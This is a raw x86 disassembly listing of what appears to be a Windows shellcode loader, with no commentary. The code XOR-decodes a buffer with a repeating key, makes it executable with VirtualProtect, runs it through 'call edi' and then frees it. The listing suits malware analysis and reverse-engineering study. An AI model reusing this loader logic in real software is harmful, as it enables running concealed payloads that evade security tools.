push ebx
mov dword [esi + 4], edi
push edi
mov edi, dword [esi + 0xc]
push edi
call fcn.004089e0
add esp, 0xc
lea eax, [esi + 0x184]
push eax
push 0x10
mov dword [esi + 0x28], ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi + 0x198], 0x14
test eax, eax
je 0x408364
call edi
push 0x8000
push 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Shellcode
call section..text
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov eax, dword [ecx]
add ecx, dword [eax + 4]
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
mov edx, dword [esi + 4]
test edx, edx
mov ecx, dword [esi + 8]
mov edi, dword [esi + 0x28]
je 0x408102
cmp edi, 0x1000
jb 0x4080f5
mov eax, dword [edx - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x4082ad
add edi, 0x23
mov edx, eax
push edi
push edx
call fcn.0040b065
add esp, 8
mov ecx, dword [esi + 0x2c]
test ecx, ecx
je 0x408132
mov eax, dword [esi + 0x34]
sub eax, ecx
cmp eax, 0x1000
jb 0x408128
mov edx, ecx
mov ecx, dword [ecx - 4]
add edx, 0xfffffffc
sub edx, ecx
cmp edx, 0x20
jae 0x4082ad
add eax, 0x23
push eax
push ecx
call fcn.0040b065
add esp, 8
mov eax, dword [esi + 0x24]
cmp eax, 0x10
jb 0x40816a
mov ecx, dword [esi + 0x10]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x408160
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040b065
add esp, 8
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x40819d
mov eax, dword [esi + 0x48]
sub eax, ecx
cmp eax, 0x1000
jb 0x408193
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040b065
add esp, 8
xor eax, eax
mov ecx, dword [esi + 0x190]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esi + 0xc]
shr ebx, 2
mov ecx, 3
jmp 0x4081ea
movzx eax, byte [eax + edx]
mov edx, dword [esi + 8]
xor al, byte [edx + ecx]
mov edx, dword [esi + 4]
mov byte [edx + ecx], al
add ecx, 4
dec ebx
je 0x40800c
lea eax, [ecx - 3]
xor edx, edx
div edi
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x4081fd
mov eax, dword [esi + 0x10]
movzx eax, byte [eax + edx]
mov edx, dword [esi + 8]
xor al, byte [edx + ecx - 3]
mov edx, dword [esi + 4]
mov byte [edx + ecx - 3], al
lea eax, [ecx - 2]
xor edx, edx
div edi
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x408222
mov eax, dword [esi + 0x10]
movzx eax, byte [eax + edx]
mov edx, dword [esi + 8]
xor al, byte [edx + ecx - 2]
mov edx, dword [esi + 4]
mov byte [edx + ecx - 2], al
lea eax, [ecx - 1]
xor edx, edx
div edi
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x408247
mov eax, dword [esi + 0x10]
movzx eax, byte [eax + edx]
mov edx, dword [esi + 8]
xor al, byte [edx + ecx - 1]
mov edx, dword [esi + 4]
mov byte [edx + ecx - 1], al
mov eax, ecx
xor edx, edx
div edi
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x4081d0
mov eax, dword [esi + 0x10]
jmp 0x4081d0
lea ebx, [esi + 0x10]
jmp 0x40829a
movzx eax, byte [eax + edx]
mov edx, dword [esi + 8]
xor al, byte [edx + ecx]
mov edx, dword [esi + 4]
mov byte [edx + ecx], al
inc ecx
cmp dword [esi + 0xc], ecx
je 0x40801f
mov eax, ecx
xor edx, edx
div edi
cmp dword [esi + 0x24], 0x10
mov eax, ebx
jb 0x408280
mov eax, dword [esi + 0x10]
jmp 0x408280
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0xe
call sub.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_
add esp, 4
xorpd xmm0, xmm0
movsd qword [esi + 0x74], xmm0
mov dword [esi + 0x7c], 0
mov dword [esi + 0x80], 2
mov dword [esi + 0x84], 7
mov dword [esi + 0x70], 0x420057
push 0x30
push str.Alert
lea eax, [esi + 0x70]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [esi + 0x198], 0x12
call fcn.004087e0
mov dword [esi + 0x70], vtable.std::exception.0
lea eax, [esi + 0x74]
mov dword [esi + 0x78], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x5c], 0x40f640
mov byte [esi + 0x60], 1
push eax
lea eax, [esi + 0x5c]
push eax
call sub.VCRUNTIME140.dll___std_exception_copy
add esp, 8
mov dword [esi + 0x70], vtable.std::runtime_error.0
mov dword [esi + 0x198], 0x14
push 0x411da8
lea eax, [esi + 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
add esp, 8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 0x70], vtable.std::exception.0
lea eax, [esi + 0x74]
mov dword [esi + 0x78], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x5c], 0x40f60e
mov byte [esi + 0x60], 1
push eax
lea eax, [esi + 0x5c]
push eax
call sub.VCRUNTIME140.dll___std_exception_copy
add esp, 8
mov dword [esi + 0x70], vtable.std::runtime_error.0
push 0x411da8
lea eax, [esi + 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
add esp, 8
mov dword [esi + 0x198], 0x11
call fcn.00401370
mov dword [esi + 0x198], 0x13
call fcn.00401ac0
mov dword [esi + 0x198], 4
call fcn.00401ac0
call fcn.00401370
call fcn.004014d0
call fcn.00401ad0
mov dword [esi + 0x198], 0xd
call fcn.00401370
call fcn.00401ac0
call fcn.00401ad0
call fcn.00401ad0
lea esi, [ebp - 0x19c]
mov ebp, dword [esi + 0x188]
mov eax, 1
jmp 0x40819f